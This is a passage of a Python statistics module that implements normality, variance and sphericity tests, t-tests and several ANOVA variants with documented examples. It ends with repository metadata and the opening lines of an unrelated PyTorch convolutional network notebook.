z-scores (same shape as x)\n\n    Examples\n    --------\n    Standardize a log-normal array\n\n        >>> import numpy as np\n        >>> from pingouin import gzscore\n        >>> np.random.seed(123)\n        >>> raw = np.random.lognormal(size=100)\n        >>> print(raw.mean().round(3), raw.std().round(3))\n            1.849 2.282\n        >>> z = gzscore(raw)\n        >>> print(z.mean(), z.std())\n            0 0.995\n    \"\"\"\n    from scipy.stats import gmean\n    # Geometric mean\n    geo_mean = gmean(x)\n    # Geometric standard deviation\n    gstd = np.exp(np.sqrt(np.sum((np.log(x / geo_mean))**2) / (len(x) - 1)))\n    # Geometric z-score\n    return np.log(x / geo_mean) / np.log(gstd)\n\n\ndef test_normality(*args, alpha=.05):\n    \"\"\"Test the normality of one or more array.\n\n    Parameters\n    ----------\n    sample1, sample2,... : array_like\n        Array of sample data. May be different lengths.\n\n    Returns\n    -------\n    normal : boolean\n        True if x comes from a normal distribution.\n    p : float\n        P-value.\n\n    See Also\n    --------\n    test_homoscedasticity : Test equality of variance.\n    test_sphericity : Mauchly's test for sphericity.\n\n    Examples\n    --------\n    1. Test the normality of one array.\n\n        >>> import numpy as np\n        >>> from pingouin import test_normality\n        >>> np.random.seed(123)\n        >>> x = np.random.normal(size=100)\n        >>> normal, p = test_normality(x, alpha=.05)\n        >>> print(normal, p)\n        True 0.27\n\n    2. Test the normality of two arrays.\n\n        >>> import numpy as np\n        >>> from pingouin import test_normality\n        >>> np.random.seed(123)\n        >>> x = np.random.normal(size=100)\n        >>> y = np.random.rand(100)\n        >>> normal, p = test_normality(x, y, alpha=.05)\n        >>> print(normal, p)\n        [True   False] [0.27   0.0005]\n    \"\"\"\n    from scipy.stats import shapiro\n    k = len(args)\n    p = np.zeros(k)\n    normal = np.zeros(k, 'bool')\n    for j in range(k):\n        _, p[j] = shapiro(args[j])\n        normal[j] = True if p[j] > alpha else False\n\n    if k == 1:\n        normal = bool(normal)\n        p = float(p)\n\n    return normal, p\n\n\ndef test_homoscedasticity(*args, alpha=.05):\n    \"\"\"Test equality of variance.\n\n    If data are normally distributed, uses Bartlett (1937).\n    If data are not-normally distributed, uses Levene (1960).\n\n    Parameters\n    ----------\n    sample1, sample2,... : array_like\n        Array of sample data. May be different lengths.\n\n    Returns\n    -------\n    equal_var : boolean\n        True if data have equal variance.\n    p : float\n        P-value.\n\n    See Also\n    --------\n    test_normality : Test the normality of one or more array.\n    test_sphericity : Mauchly's test for sphericity.\n\n    Examples\n    --------\n    Test the homoscedasticity of two arrays.\n\n        >>> import numpy as np\n        >>> from pingouin import test_homoscedasticity\n        >>> np.random.seed(123)\n        >>> # Scale = standard deviation of the distribution.\n        >>> x = np.random.normal(loc=0, scale=1., size=100)\n        >>> y = np.random.normal(loc=0, scale=0.8,size=100)\n        >>> print(np.var(x), np.var(y))\n            1.27 0.60\n        >>> equal_var, p = test_homoscedasticity(x, y, alpha=.05)\n        >>> print(equal_var, p)\n            False 0.0002\n    \"\"\"\n    from scipy.stats import levene, bartlett\n    k = len(args)\n    if k < 2:\n        raise ValueError(\"Must enter at least two input sample vectors.\")\n\n    # Test normality of data\n    normal, _ = test_normality(*args)\n    if np.count_nonzero(normal) != normal.size:\n        # print('Data are not normally distributed. Using Levene test.')\n        _, p = levene(*args)\n    else:\n        _, p = bartlett(*args)\n\n    equal_var = True if p > alpha else False\n    return equal_var, p\n\n\ndef test_dist(*args, dist='norm'):\n    \"\"\"Anderson-Darling test of distribution.\n\n    Parameters\n    ----------\n    sample1, sample2,... : array_like\n        Array of sample data. May be different lengths.\n    dist : string\n        Distribution ('norm', 'expon', 'logistic', 'gumbel')\n\n    Returns\n    -------\n    from_dist : boolean\n        True if data comes from this distribution.\n    \"\"\"\n    from scipy.stats import anderson\n    k = len(args)\n    from_dist = np.zeros(k, 'bool')\n    sig_level = np.zeros(k)\n    for j in range(k):\n        st, cr, sig = anderson(args[j], dist=dist)\n        from_dist[j] = True if (st > cr).any() else False\n        sig_level[j] = sig[np.argmin(np.abs(st - cr))]\n\n    if k == 1:\n        from_dist = bool(from_dist)\n        sig_level = float(sig_level)\n    return from_dist, sig_level\n\n\ndef test_sphericity(X, alpha=.05):\n    \"\"\"Mauchly's test for sphericity\n\n    https://www.mathworks.com/help/stats/mauchlys-test-of-sphericity.html\n\n    Warning: results can slightly differ than R or Matlab. If you can,\n    always double-check your results.\n\n    Parameters\n    ----------\n    X : array_like\n        Data array of shape (n_observations, n_repetitions)\n    alpha : float, optional\n        Significance level\n\n    Returns\n    -------\n    sphericity : boolean\n        True if data have the sphericity property.\n    W : float\n        Mauchly's W statistic\n    chi_sq : float\n        Chi-square statistic\n    ddof : int\n        Degrees of freedom\n    p : float\n        P-value.\n    eps : float\n        Epsilon adjustment factor.\n\n    See Also\n    --------\n    test_homoscedasticity : Test equality of variance.\n    test_normality : Test the normality of one or more array.\n\n    Examples\n    --------\n    Test the sphericity of an array with 30 observations *\n    3 repeated measures\n\n        >>> import numpy as np\n        >>> from pingouin import test_sphericity\n        >>> np.random.seed(123)\n        >>> x = np.random.normal(loc=0, scale=1., size=30)\n        >>> y = np.random.normal(loc=0, scale=0.8,size=30)\n        >>> z = np.random.normal(loc=0, scale=0.9,size=30)\n        >>> X = np.c_[x, y, z]\n        >>> sphericity, W, chi_sq, ddof, p, eps = test_sphericity(X)\n        >>> print(sphericity, p)\n        True 0.56\n        \"\"\"\n    from scipy.stats import chi2\n    n = X.shape[0]\n\n    # Compute the covariance matrix\n    S = np.cov(X, rowvar=0)\n    p = S.shape[1]\n    d = p - 1\n\n    # Orthonormal contrast matrix\n    C = np.array(np.triu(np.ones((p, d))), order='F')\n    C.reshape(-1, order='F')[1::p + 1] = -np.arange(d)\n    C, _ = np.linalg.qr(C)\n    d = C.shape[1]\n    T = C.T.dot(S).dot(C)\n\n    # Compute epsilon\n    eig = np.linalg.eigvals(T)\n    eps = np.sum(eig) ** 2 / ((S.shape[0] - 1) * np.sum(eig**2))\n    # Alternative:\n    # eps = np.trace(T) ** 2 / ((S.shape[0] - 1) * np.sum(\n    # np.sum(T * T, axis=1)))\n\n    # Mauchly's statistic\n    W = np.linalg.det(T) / (np.trace(T) / (p - 1))**d\n\n    # Chi-square statistic\n    nr = n - np.linalg.matrix_rank(X)\n    dd = 1 - (2 * d**2 + d + 2) / (6 * d * nr)\n    chi_sq = -np.log(W) * dd * nr\n    ddof = d * (d + 1) / 2 - 1\n    pval = chi2.sf(chi_sq, ddof)\n\n    # Second order approximation\n    pval2 = chi2.sf(chi_sq, ddof + 4)\n    w2 = (d + 2) * (d - 1) * (d - 2) * (2 * d**3 + 6 * d * d + 3 * d + 2) / \\\n         (288 * d * d * nr * nr * dd * dd)\n    pval += w2 * (pval2 - pval)\n\n    sphericity = True if pval > alpha else False\n    return sphericity, W, chi_sq, ddof, pval, eps\n\n\ndef ttest(x, y, paired=False, tail='two-sided', correction='auto', r=.707):\n    \"\"\"T-test.\n\n    Parameters\n    ----------\n    x : array_like\n        First set of observations.\n    y : array_like or float\n        Second set of observations. If y is a single value, a one-sample T-test\n        is computed.\n    paired : boolean\n        Specify whether the two observations are related (i.e. repeated\n        measures) or independant.\n    tail : string\n        Specify whether to return two-sided or one-sided p-value.\n    correction : string or boolean\n        For unpaired two sample T-tests, specify whether or not to correct for\n        unequal variances using Welch separate variances T-test. If 'auto', it\n        will automatically uses Welch T-test when the sample sizes are unequal,\n        as recommended by Zimmerman 2004.\n    r : float\n        Cauchy scale factor for computing the Bayes Factor.\n        Smaller values of r (e.g. 0.5), may be appropriate when small effect\n        sizes are expected a priori; larger values of r are appropriate when\n        large effect sizes are expected (Rouder et al 2009).\n        The default is 0.707 (= np.sqrt(2) / 2).\n\n    Returns\n    -------\n    stats : pandas DataFrame\n        T-test summary ::\n\n        'T-val' : T-value\n        'p-val' : p-value\n        'dof' : degrees of freedom\n        'cohen-d' : Cohen d effect size\n        'power' : achieved power of the test ( = 1 - type II error)\n        'BF10' : Bayes Factor of the alternative hypothesis\n\n    Notes\n    -----\n    Missing values are automatically removed from the data. If x and y are\n    paired, the entire row is removed.\n\n    Examples\n    --------\n    1. One-sample T-test.\n\n        >>> from pingouin import ttest\n        >>> x = [5.5, 2.4, 6.8, 9.6, 4.2]\n        >>> ttest(x, 4)\n            T-val   p-val  dof  cohen-d  power   BF10\n            1.397  0.2348    4    0.699  0.226  0.766\n\n    2. Paired two-sample T-test (one-tailed).\n\n        >>> from pingouin import ttest\n        >>> pre = [5.5, 2.4, 6.8, 9.6, 4.2]\n        >>> post = [6.4, 3.4, 6.4, 11., 4.8]\n        >>> ttest(pre, post, paired=True, tail='one-sided')\n            T-val   p-val  dof  cohen-d  power   BF10\n            -2.308   0.04    4     0.28  0.132  1.864\n\n    3. Paired two-sample T-test with missing values.\n\n        >>> from pingouin import ttest\n        >>> from numpy import nan\n        >>> pre = [5.5, 2.4, nan, 9.6, 4.2]\n        >>> post = [6.4, 3.4, 6.4, 11., 4.8]\n        >>> ttest(pre, post, paired=True)\n            T-val    p-val  dof  cohen-d  power    BF10\n            -5.902  0.0097    3   -0.354  0.074  24.926\n\n    4. Independant two-sample T-test (equal sample size).\n\n        >>> from pingouin import ttest\n        >>> import numpy as np\n        >>> np.random.seed(123)\n        >>> x = np.random.normal(loc=7, size=20)\n        >>> y = np.random.normal(loc=4, size=20)\n        >>> ttest(x, y, correction='auto')\n            T-val     p-val  dof  cohen-d  power   BF10\n            9.106  4.30e-11   38     2.88    1.0  1.4e8\n\n    5. Independant two-sample T-test (unequal sample size).\n\n        >>> from pingouin import ttest\n        >>> import numpy as np\n        >>> np.random.seed(123)\n        >>> x = np.random.normal(loc=7, size=20)\n        >>> y = np.random.normal(loc=6.5, size=15)\n        >>> ttest(x, y, correction='auto')\n            T-val     p-val  dof   dof-corr  cohen-d  power   BF10\n            2.327     0.027   33      30.75    0.792  0.614  2.454\n    \"\"\"\n    from scipy.stats import ttest_rel, ttest_ind, ttest_1samp\n    from pingouin import ttest_power, compute_effsize\n    x = np.asarray(x)\n    y = np.asarray(y)\n\n    if x.size != y.size and paired:\n        print('x and y have unequal sizes. Switching to paired == False.')\n        paired = False\n\n    # Remove NA\n    x, y = _remove_na(x, y, paired=paired)\n    nx = x.size\n    ny = y.size\n    stats = pd.DataFrame({}, index=['T-test'])\n\n    if ny == 1:\n        # Case one sample T-test\n        tval, pval = ttest_1samp(x, y)\n        dof = nx - 1\n        pval = pval / 2 if tail == 'one-sided' else pval\n\n    if ny > 1 and paired is True:\n        # Case paired two samples T-test\n        tval, pval = ttest_rel(x, y)\n        dof = nx - 1\n        bf = bayesfactor_ttest(tval, nx, ny, paired=True, r=r)\n\n    elif ny > 1 and paired is False:\n        dof = nx + ny - 2\n        # Case unpaired two samples T-test\n        if correction is True or (correction == 'auto' and nx != ny):\n            # Use the Welch separate variance T-test\n            tval, pval = ttest_ind(x, y, equal_var=False)\n            # dof are approximated using Welch\u2013Satterthwaite equation\n            vx = x.var(ddof=1)\n            vy = y.var(ddof=1)\n            dof_corr = (vx / nx + vy / ny)**2 / ((vx / nx)**2 / (nx - 1) +\n                                                 (vy / ny)**2 / (ny - 1))\n            stats['dof-corr'] = dof_corr\n        else:\n            tval, pval = ttest_ind(x, y, equal_var=True)\n\n    pval = pval / 2 if tail == 'one-sided' else pval\n\n    # Effect size and achieved power\n    d = compute_effsize(x, y, paired=paired, eftype='cohen')\n    power = ttest_power(d, nx, ny, paired=paired, tail=tail)\n\n    # Bayes factor\n    bf = bayesfactor_ttest(tval, nx, ny, paired=paired, tail=tail, r=r)\n\n    # Fill output DataFrame\n    stats['dof'] = dof\n    stats['T-val'] = tval.round(3)\n    stats['p-val'] = pval\n    stats['tail'] = tail\n    stats['cohen-d'] = np.abs(d).round(3)\n    stats['power'] = power\n    stats['BF10'] = bf\n\n    col_order = ['T-val', 'p-val', 'dof', 'dof-corr', 'tail', 'cohen-d',\n                 'power', 'BF10']\n    stats = stats.reindex(columns=col_order)\n    stats.dropna(how='all', axis=1, inplace=True)\n    return stats\n\n\ndef rm_anova(dv=None, within=None, data=None, correction='auto',\n             remove_na=True, detailed=False, export_filename=None):\n    \"\"\"One-way repeated measures ANOVA.\n\n    Results have been tested against R and JASP.\n\n    Parameters\n    ----------\n    dv : string\n        Name of column containing the dependant variable.\n    within : string\n        Name of column containing the within factor.\n    data : pandas DataFrame\n        DataFrame\n    correction : string or boolean\n        If True, return Greenhouse-Geisser corrected p-value.\n        If 'auto' (default), compute Mauchly's test of sphericity to determine\n        whether the p-values needs to be corrected.\n    remove_na : boolean\n        If True, automatically remove from the analysis subjects with one or\n        more missing values::\n\n            Ss    x1       x2       x3\n            1     5.0      4.2      nan\n            2     4.6      3.6      3.9\n\n        In this example, if remove_na == True, Ss 1 will be removed from the\n        ANOVA because of the x3 missing value. If False, the two non-missing\n        values will be included in the analysis.\n    detailed : boolean\n        If True, return a full ANOVA table\n    export_filename : string\n        Filename (without extension) for the output file.\n        If None, do not export the table.\n        By default, the file will be created in the current python console\n        directory. To change that, specify the filename with full path.\n\n    Returns\n    -------\n    aov : DataFrame\n        ANOVA summary ::\n\n        'Source' : Name of the within-group factor\n        'ddof1' : Degrees of freedom (numerator)\n        'ddof2' : Degrees of freedom (denominator)\n        'F' : F-value\n        'p-unc' : Uncorrected p-value\n        'np2' : Partial eta-square effect size\n        'p-GG-corr' : Greenhouse-Geisser corrected p-value\n        'W-Mauchly' : Mauchly statistic\n        'X2-Mauchly' : Chi-square statistic of the Mauchly test\n        'DF-Mauchly' : Degrees of freedom for the Mauchly test\n        'p-Mauchly' : p-value of the Mauchly test\n        'sphericity' : sphericity of the data (boolean)\n\n    See Also\n    --------\n    anova : One-way ANOVA\n    mixed_anova : Two way mixed ANOVA\n    friedman : Non-parametric one-way repeated measures ANOVA\n\n    Notes\n    -----\n    The effect size reported in Pingouin is the partial eta-square.\n    However, one should keep in mind that for one-way repeated-measures ANOVA,\n    partial eta-square is the same as eta-square.\n\n    For more details, see Bakeman 2005; Richardson 2011.\n\n    Examples\n    --------\n    Compute a one-way repeated-measures ANOVA.\n\n        >>> import pandas as pd\n        >>> from pingouin import rm_anova, print_table\n        >>> df = pd.read_csv('dataset.csv')\n        >>> aov = rm_anova(dv='DV', within='Time', data=df, correction='auto',\n                           remove_na=True, detailed=True,\n                           export_filename='rm_anova.csv')\n        >>> print_table(aov)\n    \"\"\"\n    from scipy.stats import f\n    # Check data\n    _check_dataframe(dv=dv, within=within, data=data, effects='within')\n\n    # Remove NaN\n    if remove_na and data[dv].isnull().values.any():\n        data = _remove_rm_na(dv=dv, within=within, data=data)\n\n    # Reset index (avoid duplicate axis error)\n    data = data.reset_index(drop=True)\n\n    # Sort values (to avoid bug when creating 'Subj' column)\n    data = data.sort_values(by=within, kind='mergesort')\n\n    # Groupby\n    grp_with = data.groupby(within)[dv]\n    rm = list(data[within].unique())\n    n_rm = len(rm)\n    n_obs = int(data.groupby(within)[dv].count().max())\n    grandmean = data[dv].mean()\n\n    # Calculate sums of squares\n    sstime = ((grp_with.mean() - grandmean)**2 * grp_with.count()).sum()\n    sswithin = grp_with.apply(lambda x: (x - x.mean())**2).sum()\n    data['Subj'] = np.tile(np.arange(n_obs), n_rm)\n    grp_subj = data.groupby('Subj')[dv]\n    sssubj = n_rm * np.sum((grp_subj.mean() - grandmean)**2)\n    sserror = sswithin - sssubj\n\n    # Calculate degrees of freedom\n    ddof1 = n_rm - 1\n    ddof2 = ddof1 * (n_obs - 1)\n\n    # Calculate F and p-values\n    mserror = sserror / (ddof2 / ddof1)\n    fval = sstime / mserror\n    p_unc = f(ddof1, ddof2).sf(fval)\n\n    # Calculating partial eta-square\n    # Similar to (fval * ddof1) / (fval * ddof1 + ddof2)\n    np2 = sstime / (sstime + sserror)\n\n    # Reshape and remove NAN for sphericity estimation and correction\n    data_pivot = data.pivot(index='Subj', columns=within, values=dv).dropna()\n\n    # Compute sphericity using Mauchly's test\n    # Sphericity assumption only applies if there are more than 2 levels\n    if correction == 'auto' or (correction is True and n_rm >= 3):\n        sphericity, W_mauchly, chi_sq_mauchly, ddof_mauchly, \\\n            p_mauchly, eps = test_sphericity(data_pivot.values, alpha=.05)\n\n        if correction == 'auto':\n            correction = True if not sphericity else False\n    else:\n        correction = False\n\n    # If required, apply Greenhouse-Geisser correction for sphericity\n    if correction:\n        # print('eps = ', eps)\n        corr_ddof1, corr_ddof2 = [np.maximum(d * eps, 1.) for d in\n                                  (ddof1, ddof2)]\n        p_corr = f(corr_ddof1, corr_ddof2).sf(fval)\n\n    # Create output dataframe\n    if not detailed:\n        aov = pd.DataFrame({'Source': within,\n                            'ddof1': ddof1,\n                            'ddof2': ddof2,\n                            'F': fval,\n                            'p-unc': p_unc,\n                            'np2': np2\n                            }, index=[0])\n        if correction:\n            aov['p-GG-corr'] = p_corr\n            aov['W-Mauchly'] = W_mauchly\n            aov['X2-Mauchly'] = chi_sq_mauchly\n            aov['DF-Mauchly'] = ddof_mauchly\n            aov['p-Mauchly'] = p_mauchly\n            aov['sphericity'] = sphericity\n\n        col_order = ['Source', 'ddof1', 'ddof2', 'F', 'p-unc',\n                     'p-GG-corr', 'np2', 'sphericity', 'W-Mauchly',\n                     'X2-Mauchly', 'DF-Mauchly', 'p-Mauchly']\n    else:\n        aov = pd.DataFrame({'Source': [within, 'Error'],\n                            'SS': [sstime, sserror],\n                            'DF': [ddof1, ddof2],\n                            'MS': [sstime / ddof1, sserror / ddof2],\n                            'F': [fval, np.nan],\n                            'p-unc': [p_unc, np.nan],\n                            'np2': [np2, np.nan]\n                            })\n        if correction:\n            aov['p-GG-corr'] = [p_corr, np.nan]\n            aov['W-Mauchly'] = [W_mauchly, np.nan]\n            aov['X2-Mauchly'] = [chi_sq_mauchly, np.nan]\n            aov['DF-Mauchly'] = np.array([ddof_mauchly, 0], 'int')\n            aov['p-Mauchly'] = [p_mauchly, np.nan]\n            aov['sphericity'] = [sphericity, np.nan]\n\n        col_order = ['Source', 'SS', 'DF', 'MS', 'F', 'p-unc', 'p-GG-corr',\n                     'np2', 'sphericity', 'W-Mauchly', 'X2-Mauchly',\n                     'DF-Mauchly', 'p-Mauchly']\n\n    aov = aov.reindex(columns=col_order)\n    aov.dropna(how='all', axis=1, inplace=True)\n    # Export to .csv\n    if export_filename is not None:\n        _export_table(aov, export_filename)\n    return aov\n\n\ndef anova(dv=None, between=None, data=None, detailed=False,\n          export_filename=None):\n    \"\"\"One-way ANOVA.\n\n    Results have been tested against R and JASP.\n\n    Parameters\n    ----------\n    dv : string\n        Name of column containing the dependant variable.\n    between : string\n        Name of column containing the between factor.\n    data : pandas DataFrame\n        DataFrame\n    detailed : boolean\n        If True, return a detailed ANOVA table\n    export_filename : string\n        Filename (without extension) for the output file.\n        If None, do not export the table.\n        By default, the file will be created in the current python console\n        directory. To change that, specify the filename with full path.\n\n    Returns\n    -------\n    aov : DataFrame\n        ANOVA summary ::\n\n        'Source' : name of the between-group factor\n        'ddof1' : degrees of freedom (numerator)\n        'ddof2' : degrees of freedom (denominator)\n        'F' : F-value\n        'p-unc' : uncorrected p-value\n        'np2' : Partial eta-square effect size\n\n    See Also\n    --------\n    rm_anova : One-way repeated measures ANOVA\n    mixed_anova : Two way mixed ANOVA\n    kruskal : Non-parametric one-way ANOVA\n\n\n    Notes\n    -----\n    The effect size reported in Pingouin is the partial eta-square.\n    However, one should keep in mind that for one-way ANOVA\n    partial eta-square is the same as eta-square and generalized eta-square.\n\n    For more details, see Bakeman 2005; Richardson 2011.\n\n    Examples\n    --------\n    Compute a one-way ANOVA.\n\n        >>> import pandas as pd\n        >>> from pingouin import anova, print_table\n        >>> df = pd.read_csv('dataset.csv')\n        >>> aov = anova(dv='DV', between='Group', data=df,\n                        detailed=True, export_filename='anova.csv')\n        >>> print_table(aov)\n    \"\"\"\n    from scipy.stats import f\n\n    # Check data\n    _check_dataframe(dv=dv, between=between, data=data,\n                     effects='between')\n\n    # Reset index (avoid duplicate axis error)\n    data = data.reset_index(drop=True)\n\n    groups = list(data[between].unique())\n    n_groups = len(groups)\n    N = data[dv].size\n\n    # Calculate sums of squares\n    grp = data.groupby(between)[dv]\n    # Between effect\n    ssbetween = ((grp.mean() - data[dv].mean())**2 * grp.count()).sum()\n    # Within effect (= error between)\n    sserror = grp.apply(lambda x: (x - x.mean())**2).sum()\n\n    # Calculate DOF, MS, F and p-values\n    ddof1 = n_groups - 1\n    ddof2 = N - n_groups\n    msbetween = ssbetween / ddof1\n    mserror = sserror / ddof2\n    fval = msbetween / mserror\n    p_unc = f(ddof1, ddof2).sf(fval)\n\n    # Calculating partial eta-square\n    # Similar to (fval * ddof1) / (fval * ddof1 + ddof2)\n    np2 = ssbetween / (ssbetween + sserror)\n\n    # Create output dataframe\n    if not detailed:\n        aov = pd.DataFrame({'Source': between,\n                            'ddof1': ddof1,\n                            'ddof2': ddof2,\n                            'F': fval,\n                            'p-unc': p_unc,\n                            'np2': np2\n                            }, index=[0])\n\n        col_order = ['Source', 'ddof1', 'ddof2', 'F', 'p-unc', 'np2']\n    else:\n        aov = pd.DataFrame({'Source': [between, 'Within'],\n                            'SS': [ssbetween, sserror],\n                            'DF': [ddof1, ddof2],\n                            'MS': [msbetween, mserror],\n                            'F': [fval, np.nan],\n                            'p-unc': [p_unc, np.nan],\n                            'np2': [np2, np.nan]\n                            })\n        col_order = ['Source', 'SS', 'DF', 'MS', 'F', 'p-unc', 'np2']\n\n    aov = aov.reindex(columns=col_order)\n    aov.dropna(how='all', axis=1, inplace=True)\n    # Export to .csv\n    if export_filename is not None:\n        _export_table(aov, export_filename)\n    return aov\n\n\ndef mixed_anova(dv=None, within=None, between=None, data=None,\n                correction='auto', remove_na=True, export_filename=None):\n    \"\"\"Mixed-design (split-plot) type II ANOVA.\n\n    Results have been tested against R and JASP.\n\n    Parameters\n    ----------\n    dv : string\n        Name of column containing the dependant variable.\n    within : string\n        Name of column containing the within factor.\n    between : string\n        Name of column containing the between factor.\n    data : pandas DataFrame\n        DataFrame\n    correction : string or boolean\n        If True, return Greenhouse-Geisser corrected p-value.\n        If 'auto' (default), compute Mauchly's test of sphericity to determine\n        whether the p-values needs to be corrected.\n    remove_na : boolean\n        If True, automatically remove from the analysis subjects with one or\n        more missing values::\n\n            Ss    x1       x2       x3\n            1     5.0      4.2      nan\n            2     4.6      3.6      3.9\n\n        In this example, if remove_na == True, Ss 1 will be removed from the\n        ANOVA because of the x3 missing value. If False, the two non-missing\n        values will be included in the analysis.\n    export_filename : string\n        Filename (without extension) for the output file.\n        If None, do not export the table.\n        By default, the file will be created in the current python console\n        directory. To change that, specify the filename with full path.\n\n    Returns\n    -------\n    aov : DataFrame\n        ANOVA summary ::\n\n        'Source' : Names of the factor considered\n        'ddof1' : Degrees of freedom (numerator)\n        'ddof2' : Degrees of freedom (denominator)\n        'F' : F-values\n        'p-unc' : Uncorrected p-values\n        'np2' : Partial eta-square effect sizes\n        'p-GG-corr' : Greenhouse-Geisser corrected p-values\n        'W-Mauchly' : Mauchly statistic\n        'X2-Mauchly' : Chi-square statistic of the Mauchly test\n        'DF-Mauchly' : Degrees of freedom for the Mauchly test\n        'p-Mauchly' : p-value of the Mauchly test\n        'sphericity' : sphericity of the data (boolean)\n\n    See Also\n    --------\n    anova : One-way ANOVA\n    rm_anova : One-way repeated measures ANOVA\n\n    Examples\n    --------\n    Compute a two-way mixed model ANOVA.\n\n        >>> import pandas as pd\n        >>> from pingouin import mixed_anova, print_table\n        >>> df = pd.read_csv('dataset.csv')\n        >>> aov = mixed_anova(dv='DV', within='Time', between='Group', data=df,\n                             correction='auto', remove_na=False)\n        >>> print_table(aov)\n    \"\"\"\n    from scipy.stats import f\n    # Check data\n    _check_dataframe(dv=dv, within=within, between=between, data=data,\n                     effects='interaction')\n    # Remove NaN\n    if remove_na and data[dv].isnull().values.any():\n        data = _remove_rm_na(dv=dv, within=within, data=data)\n    # Reset index (avoid duplicate axis error)\n    data = data.reset_index(drop=True)\n\n    # SUMS OF SQUARES\n    grandmean = data[dv].mean()\n    # Extract main effects of time and between\n    mtime = rm_anova(dv=dv, within=within, data=data, correction=correction,\n                     remove_na=False, detailed=True)\n    mbetw = anova(dv=dv, between=between, data=data, detailed=True)\n    # Extract SS total, residuals and interactions\n    grp = data.groupby([between, within])[dv]\n    sstotal = grp.apply(lambda x: (x - grandmean)**2).sum()\n    # sst = residuals within + residuals between\n    sst = grp.apply(lambda x: (x - x.mean())**2).sum()\n    # Interaction\n    ssinter = sstotal - (sst + mtime.loc[0, 'SS'] + mbetw.loc[0, 'SS'])\n    sswg = mtime.loc[1, 'SS'] - ssinter\n    sseb = sstotal - (mtime.loc[0, 'SS'] + mbetw.loc[0, 'SS'] + sswg + ssinter)\n\n    # DEGREES OF FREEDOM\n    n_obs = data.groupby(within)[dv].count().max()\n    dftime = mtime.loc[0, 'DF']\n    dfbetween = mbetw.loc[0, 'DF']\n    dfeb = n_obs - data.groupby(between)[dv].count().count()\n    dfwg = dftime * dfeb\n    dfinter = mtime.loc[0, 'DF'] * mbetw.loc[0, 'DF']\n\n    # MEAN SQUARES\n    mseb = sseb / dfeb\n    mswg = sswg / dfwg\n    msinter = ssinter / dfinter\n\n    # F VALUES\n    fbetween = mbetw.loc[0, 'MS'] / mseb\n    ftime = mtime.loc[0, 'MS'] / mswg\n    finter = msinter / mswg\n\n    # P-values\n    pbetween = f(dfbetween, dfeb).sf(fbetween)\n    ptime = f(dftime, dfwg).sf(ftime)\n    pinter = f(dfinter, dfwg).sf(finter)\n\n    # Effects sizes\n    npsq_between = fbetween * dfbetween / (fbetween * dfbetween + dfeb)\n    npsq_time = ftime * dftime / (ftime * dftime + dfwg)\n    npsq_inter = ssinter / (ssinter + sswg)\n\n    # Stats table\n    aov = pd.concat([mbetw.drop(1), mtime.drop(1)], sort=False,\n                    ignore_index=True)\n    # Update values\n    aov.rename(columns={'DF': 'DF1'}, inplace=True)\n    aov.loc[0, 'F'], aov.loc[1, 'F'] = fbetween, ftime\n    aov.loc[0, 'p-unc'], aov.loc[1, 'p-unc'] = pbetween, ptime\n    aov.loc[0, 'np2'], aov.loc[1, 'np2'] = npsq_between, npsq_time\n    aov = aov.append({'Source': 'Interaction',\n                      'SS': ssinter,\n                      'DF1': dfinter,\n                      'MS': msinter,\n                      'F': finter,\n                      'p-unc': pinter,\n                      'np2': npsq_inter\n                      }, ignore_index=True)\n\n    aov['DF2'] = [dfeb, dfwg, dfwg]\n    col_order = ['Source', 'SS', 'DF1', 'DF2', 'MS', 'F', 'p-unc', 'np2',\n                 'p-GG-corr', 'sphericity', 'W-Mauchly', 'X2-Mauchly',\n                 'DF-Mauchly', 'p-Mauchly']\n\n    aov = aov.reindex(columns=col_order)\n    aov.dropna(how='all', axis=1, inplace=True)\n\n    # Export to .csv\n    if export_filename is not None:\n        _export_table(aov, export_filename)\n    return aov\n", "meta": {"hexsha": "cd4b123a0d6abf14d16636e63512a5cf8e68c18a", "size": 36103, "ext": "py", "lang": "Python", "max_stars_repo_path": "pingouinparametrics.py", "max_stars_repo_name": "bsheese/AtlesDescriptives", "max_stars_repo_head_hexsha": "febfde7d5bbe8abf686570db862f42738a4ad1fe", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "pingouinparametrics.py", "max_issues_repo_name": "bsheese/AtlesDescriptives", "max_issues_repo_head_hexsha": "febfde7d5bbe8abf686570db862f42738a4ad1fe", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pingouinparametrics.py", "max_forks_repo_name": "bsheese/AtlesDescriptives", "max_forks_repo_head_hexsha": "febfde7d5bbe8abf686570db862f42738a4ad1fe", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.1220183486, "max_line_length": 79, "alphanum_fraction": 0.5670719885, "include": true, "reason": "import numpy,from numpy,from scipy", "num_tokens": 10224, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091957, "lm_q2_score": 0.10521053530027198, "lm_q1q2_score": 0.05219429735779729}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Import all the Libraries\n\n# In[1]:\n\n\nimport numpy as np\nimport torch\nimport torchvision\nimport torchvision.transforms as transforms\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport matplotlib.pyplot as plt \nfrom sklearn.metrics import confusion_matrix\nimport itertools\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\nfrom torch.utils.tensorboard import SummaryWriter\ntorch.set_printoptions(linewidth=120)\ntorch.set_grad_enabled(True)\n\n\n# In[2]:\n\n\nprint(torch.__version__)\nprint(torchvision.__version__)\n\n\n# # Function to print the correct number of predictions\n\n# In[3]:\n\n\ndef get_num_correct(preds,labels):\n    return preds.argmax(dim=1).eq(labels).sum().item()\n\n\n# # The output size formula is given by \n#     if its n x n input\n#     O = (n-f+2p/s)+1 \n#     \n#     if its non square \n#     Oh = nh-fh+2p/s +1\n#     Ow = nw-fw+2p/s+1\n#     \n#    n -> input size\n#    \n#    p -> padding\n#    \n#    s -> stride length\n#    \n#    f -> filter size\n#     \n#     \n#         \n\n# # Define the  Convolutional Neural Network\n\n# In[4]:\n\n\nclass Network(nn.Module):\n    def __init__(self):\n        super(Network,self).__init__()\n        self.conv1 = nn.Conv2d(in_channels=1, out_channels=6,kernel_size=5)\n        self.batch_norm_1 = nn.BatchNorm2d(6)\n        self.conv2 = 